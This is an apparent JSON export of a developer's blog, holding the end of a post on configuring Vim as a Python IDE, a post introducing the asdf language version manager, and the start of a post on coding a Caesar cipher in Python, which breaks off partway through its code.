in\n~/.vim/bundle, it will notify you about unused imports and invalid\nsyntax. It will save you a lot of time saving and running just to find\nout you missed a colon. I like to tell it not use the quickfix window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003elet g:pyflakes_use_quickfix = 0\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/ZfjFe.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003ePep8\u003c/h2\u003e\n\u003cp\u003eThe final plugin that really helps validate your code is the pep8\nplugin, it'll make sure your code is consistent across all projects.\nAdd a key mapping to your ~/.vimrc and then you'll be able to jump to\neach of the pep8 violations in the quickfix window:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003elet g:pep8_map='\u0026#x3C;leader\u003e8'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/VU9AB.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTab Completion and Documentation\u003c/h1\u003e\n\u003cp\u003eVim has many different code completion options. We are going to use the\nSuperTab plugin to check the context of the code you are working on and\nchoose the best for the situation. We've already enabled the SuperTab\nplugin in the bundle/ folder, so we just have to configure it to be\ncontext sensitive and to enable omni code completion in your ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eau FileType python set omnifunc=pythoncomplete#Complete\nlet g:SuperTabDefaultCompletionType = \"context\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow we just enable the menu and pydoc preview to get the most useful\ninformation out of the code completion:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eset completeopt=menuone,longest,preview\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/g4lxP.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eWe also enabled the pydoc plugin at the beginning with all the\nsubmodules; that gives us the ability to hit \u0026#x3C;leader\u003epw when our\ncursor is on a module and have a new window open with the whole\ndocumentation page for it.\u003c/p\u003e\n\u003ch1\u003eCode Navigation\u003c/h1\u003e\n\u003ch2\u003eBuffers\u003c/h2\u003e\n\u003cp\u003eThe most important part about navigating code within vim, is to\ncompletely understand how to use buffers. There is no reason to use\ntabs. Open files with :e \u0026#x3C;filename\u003e to place in a buffer. We already\ninstalled the minibufexpl plugin, so you will already visually see every\nbuffer opened. You can also get a list of them doing :buffers.\u003c/p\u003e\n\u003cp\u003eYou can switch between the buffers using b\u0026#x3C;number\u003e, such as :b1 for\nthe first buffer. You can also use its name to match, so you can type :b\nmod\u0026#x3C;tab\u003e to autocomplete opening the models.py buffer. You need to\nmake sure you are using the minibufexpl from my github since it has\npatches that make it much better to work with.\u003c/p\u003e\n\u003cp\u003eTo close a buffer you use :bd or :bw.\u003c/p\u003e\n\u003ch2\u003eFuzzy Text File Search\u003c/h2\u003e\n\u003cp\u003eTo make finding and opening files within your project even easier, we\nare going to use the command-t plugin. It does have some parts that need\nto be compiled, so its not already installed by adding it as a\nsubmodule. Go to your ~/.vim/bundle/command-t folder and run 'rake\nmake'. Yes you need ruby installed. By default, command-t is bound to\n\u0026#x3C;leader\u003et. This will use fuzzy text matching to find any file in your\nproject.\u003c/p\u003e\n\u003cp\u003eIt also supports searching only through opened buffers, instead of files\nusing \u0026#x3C;leader\u003eb.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/hUcSl.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eFile Browser\u003c/h2\u003e\n\u003cp\u003eNERD Tree is a project file browser. I must admit I used this heavily\nback when I was migrating from Visual Studio and used to the Solution\nExplorer, but I rarely use it anymore. Command-T is usually all you'll\nneed. It is useful when you are getting to know a new codebase for the\nfirst time though. Lets bind a shortcut key for opening it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003en :NERDTreeToggle\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/R4ZzQ.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eRefactoring and Go to definition\u003c/h2\u003e\n\u003cp\u003eRopevim is also a great tool that will allow you to navigate around your\ncode. It supports automatically inserting import statements, goto\ndefinition, refactoring, and code completion. You'll really want to\nread up on everything it does, but the two big things I use it for is to\njump to function or class definitions quickly and to rename things\n(including all their references).\u003c/p\u003e\n\u003cp\u003eFor instance, if you are using django and you place your cursor over the\nclass models.Model you reference and then called :RopeGotoDefintion, it\nwould jump you straight to the django library to that class definition.\nWe already have it installed in our bundles, so we bind it to a key to\nuse it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003ej :RopeGotoDefinition\u0026#x3C;CR\u003e\nmap \u0026#x3C;leader\u003er :RopeRename\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eSearching\u003c/h2\u003e\n\u003cp\u003eThe final tool that really speeds up navigating your code is the Ack\nplugin. Ack is similar to grep, but much better in my opinion. You can\nfuzzy text search for anything in your code (variable name, class,\nmethod, etc) and it'll give you a list of files and line numbers where\nthey are defined so you can quickly cycle through them. Just bind the\nsearching to a key:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003enmap \u0026#x3C;leader\u003ea \u0026#x3C;Esc\u003e:Ack!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWe use ! at the end of it so it doesn't open the first result\nautomatically.\u003c/p\u003e\n\u003ch1\u003eIntegration with Git\u003c/h1\u003e\n\u003cp\u003eWe installed 2 plugins, git.vim and fugitive, that give us all the\nintegration we need. Git.vim will provide us syntax highlighting for git\nconfiguration files; fugitive provides a great interface for interacting\nwith git including getting diffs, status updates, committing, and moving\nfiles.\u003c/p\u003e\n\u003cp\u003eFugitive also allows you to view what branch you are working in directly\nfrom vim. Add this to your statusline in ~/.vimrc:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e%{fugitive#statusline()}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe big commands you need to know:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGblame\u003c/strong\u003e: This allows you to view a line by line comparison of who\nthe last person to touch that line of code is.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGwrite\u003c/strong\u003e: This will stage your file for commit, basically doing\ngit add \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGread\u003c/strong\u003e: This will basically run a git checkout \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGcommit\u003c/strong\u003e: This will just run git commit. Since its in a vim\nbuffer, you can use keyword completion (Ctrl-N), like\ntest_all\u0026#x3C;Ctrl-N\u003e to find the method name in your buffer and\ncomplete it for the commit message. You can also use + and - on the\nfilenames in the message to stage/unstage them for the commit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/NuRRj.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTest Integration\u003c/h1\u003e\n\u003ch2\u003edjango nose\u003c/h2\u003e\n\u003cp\u003eTest runner integration really depends on the testing library you are\nusing and what type of tests you are running but we included a great\ngeneric plugin called MakeGreen that executes off of vim's makeprg\nvariable. So for instance, if you are using django with django-nose you\ncould define a shortcut key in your ~/.vimrc like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emap \u0026#x3C;leader\u003edt :set makeprg=python\\ manage.py\\ test\\|:call MakeGreen()\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis will just give you a green bar at the bottom of vim if your test\npassed or a red bar with the message of the failed test if it doesn't.\nVery simple.\u003c/p\u003e\n\u003ch2\u003epy.test\u003c/h2\u003e\n\u003cp\u003eI also included the py.test vim plugin for those who prefer it. This\nplugin has a lot more functionality including executing individual tests\nby class, file, or method. You can also cycle through the individual\nassertion errors. I have the following bindings:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\" Execute the tests\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etf \u0026#x3C;Esc\u003e:Pytest file\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etc \u0026#x3C;Esc\u003e:Pytest class\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etm \u0026#x3C;Esc\u003e:Pytest method\u0026#x3C;CR\u003e\n\" cycle through test errors\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etn \u0026#x3C;Esc\u003e:Pytest next\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003etp \u0026#x3C;Esc\u003e:Pytest previous\u0026#x3C;CR\u003e\nnmap \u0026#x3C;silent\u003e\u0026#x3C;Leader\u003ete \u0026#x3C;Esc\u003e:Pytest error\u0026#x3C;CR\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/RAE7v.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eVirtualenv\u003c/h1\u003e\n\u003cp\u003eVim doesn't realize that you are in a virtualenv so it wont give you\ncode completion for libraries only installed there. Add the following\nscript to your ~/.vimrc to fix it:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\" Add the virtualenv's site-packages to vim path\npy \u0026#x3C;\u0026#x3C; EOF\nimport os.path\nimport sys\nimport vim\nif 'VIRTUAL_ENV' in os.environ:\n project_base_dir = os.environ['VIRTUAL_ENV']\n sys.path.insert(0, project_base_dir)\n activate_this = os.path.join(project_base_dir, 'bin/activate_this.py')\n execfile(activate_this, dict(__file__=activate_this))\nEOF\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eDjango\u003c/h1\u003e\n\u003cp\u003eThe only true django tweak I make is before I open vim I'll export the\nDJANGO_SETTINGS_MODULE environment so that I get code completion for\ndjango modules as well:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eexport DJANGO_SETTINGS_MODULE=project.settings\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eRandom Tips\u003c/h1\u003e\n\u003cp\u003eIf you want to find a new color scheme just go to\n\u003ca href=\"http://code.google.com/p/vimcolorschemetest/\"\u003ehttp://code.google.com/p/vimcolorschemetest/\u003c/a\u003e to preview a large\nselection.\u003c/p\u003e\n\u003cp\u003eJohn Anderson \u0026#x3C;\u003ca href=\"mailto:sontek@gmail.com\"\u003esontek@gmail.com\u003c/a\u003e\u003e 2011\u003c/p\u003e","category":"Development","date":"2011-05-07T00:00:00Z","tags":["Vim","Python"],"title":"Turning Vim into a modern Python IDE"},{"id":["2022","intro_to_asdf"],"path":"2022/intro_to_asdf","contentHtml":"\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is a general purpose version manager that\ncan manage versions of most programming language runtimes through a set\nof plugins.\u003c/p\u003e\n\u003ciframe width=\"854\" height=\"480\" src=\"https://www.youtube.com/embed/RTaqWRj-6Lg\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen\u003e\u003c/iframe\u003e\n\u003cp\u003eWith micro-services being all the rage and the ever changing landscape\nof the development world, it is rare to utilize a single version of\nlanguage runtime. Even when you want to upgrade from one to the other\nyou will need both usable on your system at the same time.\u003c/p\u003e\n\u003cp\u003eI have used tools like \u003ccode\u003epyenv\u003c/code\u003e and \u003ccode\u003envm\u003c/code\u003e in the past when I needed to change\nversions depending on which project I am contributing to. But with \u003ccode\u003easdf\u003c/code\u003e\nyou have one tool to rule them all!\u003c/p\u003e\n\u003ch2\u003eGetting Started\u003c/h2\u003e\n\u003cp\u003eThe first thing you need to do when working with \u003ccode\u003easdf\u003c/code\u003e is grab the\nplugins for the languages you are interested in working with. You can list\nwhat plugins are available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin list all\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/kennyp/asdf-golang.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolangci-lint\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://github.com/hypnoglow/asdf-golangci-lint.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/asdf-community/asdf-poetry.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e *\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttps://github.com/twuni/asdf-yarn.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOn the left will be the name of the plugin and on the right will be the repository\nwhere it lives. It will be marked with an asterisk if you already have it installed.\u003c/p\u003e\n\u003cp\u003eTo install a plugin you say \u003ccode\u003easdf plugin add \u0026#x3C;plugin\u003e\u003c/code\u003e to get it installed. You can\nalso provide the repository where you want it pulled from, for example:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf plugin add python https://github.com/danhper/asdf-python.git\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will not give you any version of those languages, it is only installing the\nplugin that knows how to work with those languages. You are ready to pull down\nany versions you want at that point:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install nodejs 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf install python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you have the versions installed you will be able to view them like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e --help\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 14.19.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 16.14.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 17.5.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.1.13\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 3.9.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.22.17\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eUsing the installed languages\u003c/h2\u003e\n\u003cp\u003eTo activate a specific version of a language you have three options:\u003c/p\u003e\n\u003ch3\u003eMake it global\u003c/h3\u003e\n\u003cp\u003eYou can make it global, meaning when you run the tool like \u003ccode\u003epython\u003c/code\u003e it will use\nthis version for the system:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf global python 3.9.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch3\u003eMake it local\u003c/h3\u003e\n\u003cp\u003eYou can make it local, which means it will generate a file in the current\ndirectory named \u003ccode\u003e.tool-versions\u003c/code\u003e and so whenever you change into a directory\nit will activate the versions defined in there.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003elocal\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nodejs 12.22.10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e cat .tool-versions \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe great thing about this is you can commit that file to git and then anyone\nwho checks out the project and uses \u003ccode\u003easdf\u003c/code\u003e will have the same versions activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e1.17.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 12.22.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ______\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e No\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e set.\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Run\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3.9.10\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.22.17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-18T00:00:00Z","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"},{"id":["old","caesar_cipher_in_python"],"path":"old/caesar_cipher_in_python","contentHtml":"\u003cp\u003eI'm currently teaching my wife to code and one of the problems that we\nworked on to teach her some fundamental programming concepts was\nre-implementing the caesar cipher in python. It was fun not only to code\nbut to also start sending each other \"secret\" messages!\u003c/p\u003e\n\u003cp\u003eThe caesar cipher is a rather simple encoding, you just shift the\nalphabet a certain amount of characters. For example, if you are using a\nshift of 2:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ea =\u003e c\nb =\u003e d\ny =\u003e a\nz =\u003e b\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eUsing this as an interview type question would provide a few interesting\nproblems and give you a good perspective on how good a developers\nproblem solving skills are and how knowledgeable they are in the\nlanguage of their choice.\u003c/p\u003e\n\u003cp\u003eThe first issue is to handle the beginning and end of the alphabet, if\nyou are encoding 'z' then you will have to start your shift on a. The\nsecond problem is to only encode letters since there was no ascii table\nto define in what order characters are shifted back in those times.\u003c/p\u003e\n\u003cp\u003eWithout using too much of the built in python niceties you could do\nsomething similar to this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode_shift_letter\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e start:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 26\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 